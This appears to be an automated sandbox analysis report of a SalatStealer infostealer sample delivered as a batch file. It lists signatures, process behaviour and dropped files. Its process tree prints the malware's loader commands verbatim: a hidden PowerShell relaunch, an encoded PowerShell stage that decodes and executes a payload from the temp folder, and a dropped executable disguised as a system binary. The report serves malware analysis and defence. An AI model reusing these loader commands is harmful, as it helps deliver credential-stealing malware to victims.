Analysis
- max time kernel
149s - max time network
113s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
30/10/2026, 04:49
General
- Target service.bat
- Size 4.6MB
- Sample261030-ff3fxaax2q
- SHA256 3727475a2ab1ce552a546f89ad824ba3c4271058e84e5496526f71a30e00c5a4
Malware Config
Signatures
- Family: salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
- Detect SalatStealer payload 5 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Executes a file named after a Windows system binary 1 TTPs 2 IoCs
The file runs from a user directory while carrying the name of an executable that normally only exists in System32.
- Executes dropped EXE 2 IoCs
- UPX packed file 8 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Program Files directory 2 IoCs
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 3 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\service.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoP -NonI -W Hidden -c "$p=$env:LCBAT; Start-Process -WindowStyle Hidden -FilePath $env:ComSpec -ArgumentList @('/c',([char]34+$p+[char]34),'h')"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\service.bat" h3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoP -NonI -W Hidden -Exec Bypass -e "JABmAD0AWwBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFQAZQBtAHAAUABhAHQAaAAoACkAKwAnAGwAYwBfADMANQA0ADgAXwAxADcAOAA5ADIAMQA4ADMAOAA4ADgANAA4ADAAMQA3ADIAMAAwAC4AbAA2ADQAJwA7ACQAdAA9AFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAFQAZQB4AHQAKAAkAGYAKQAtAHIAZQBwAGwAYQBjAGUAJwBbAFwAcgBcAG4AXQAnACwAJwAnADsAaQBlAHgAKABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHQAKQApACkA"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yz125mgc\yz125mgc.cmdline"5⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9CD3.tmp" "c:\Users\Admin\AppData\Local\Temp\yz125mgc\CSC31818B774A1B49D2BC488B8FB59DEABD.TMP"6⤵
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C:\Users\Admin\AppData\Local\Temp\p_ce62fdc0-cc67-4863-9bdc-9ffbca367e80.exe"C:\Users\Admin\AppData\Local\Temp\p_ce62fdc0-cc67-4863-9bdc-9ffbca367e80.exe"5⤵
- Executes a file named after a Windows system binary
- Executes dropped EXE
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Mozilla\fontdrvhost.exeC:\Users\Admin\AppData\Local\Mozilla\fontdrvhost.exe6⤵
- Executes a file named after a Windows system binary
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
StartupProfileData-NonInteractive
RES9CD3.tmp
__PSScriptPolicyTest_z1rdf5lp.skw.psm1
lc_3548_1789218388848017200.b64
lc_3548_1789218388848017200.l64
p_ce62fdc0-cc67-4863-9bdc-9ffbca367e80.exe
yz125mgc.dll
CSC31818B774A1B49D2BC488B8FB59DEABD.TMP
yz125mgc.0.cs
yz125mgc.cmdline
memory/1440-853-0x0000000000040000-0x0000000000C95000-memory.dmp
memory/1440-861-0x0000000000040000-0x0000000000C95000-memory.dmp
memory/1440-848-0x0000000000040000-0x0000000000C95000-memory.dmp
memory/1440-851-0x0000000000040000-0x0000000000C95000-memory.dmp
memory/1440-852-0x0000000000040000-0x0000000000C95000-memory.dmp
memory/1912-863-0x0000000000D10000-0x0000000001965000-memory.dmp
memory/1912-860-0x0000000000D10000-0x0000000001965000-memory.dmp
memory/2660-9-0x00007FFE29630000-0x00007FFE29FD4000-memory.dmp
memory/2660-0-0x00007FFE297BF000-0x00007FFE297C0000-memory.dmp
memory/2660-7-0x00007FFE29630000-0x00007FFE29FD4000-memory.dmp
memory/2660-8-0x00007FFE29630000-0x00007FFE29FD4000-memory.dmp
memory/2660-6-0x00007FFE29630000-0x00007FFE29FD4000-memory.dmp
memory/2660-3-0x0000023F23170000-0x0000023F23192000-memory.dmp
memory/2660-5-0x00007FFE29630000-0x00007FFE29FD4000-memory.dmp
memory/2660-4-0x00007FFE29630000-0x00007FFE29FD4000-memory.dmp
memory/2660-11-0x00007FFE29630000-0x00007FFE29FD4000-memory.dmp
memory/3232-820-0x00007FFE29630000-0x00007FFE29FD4000-memory.dmp
memory/3232-839-0x00007FFE29630000-0x00007FFE29FD4000-memory.dmp
memory/3232-838-0x00007FFE29630000-0x00007FFE29FD4000-memory.dmp
memory/3232-837-0x00007FFE29630000-0x00007FFE29FD4000-memory.dmp
memory/3232-850-0x00007FFE29630000-0x00007FFE29FD4000-memory.dmp
memory/3232-835-0x000002AD15450000-0x000002AD15458000-memory.dmp
memory/3232-827-0x00007FFE29630000-0x00007FFE29FD4000-memory.dmp
memory/3232-826-0x00007FFE29630000-0x00007FFE29FD4000-memory.dmp
memory/3232-813-0x00007FFE29630000-0x00007FFE29FD4000-memory.dmp
memory/3232-815-0x00007FFE29630000-0x00007FFE29FD4000-memory.dmp
memory/3232-814-0x00007FFE29630000-0x00007FFE29FD4000-memory.dmp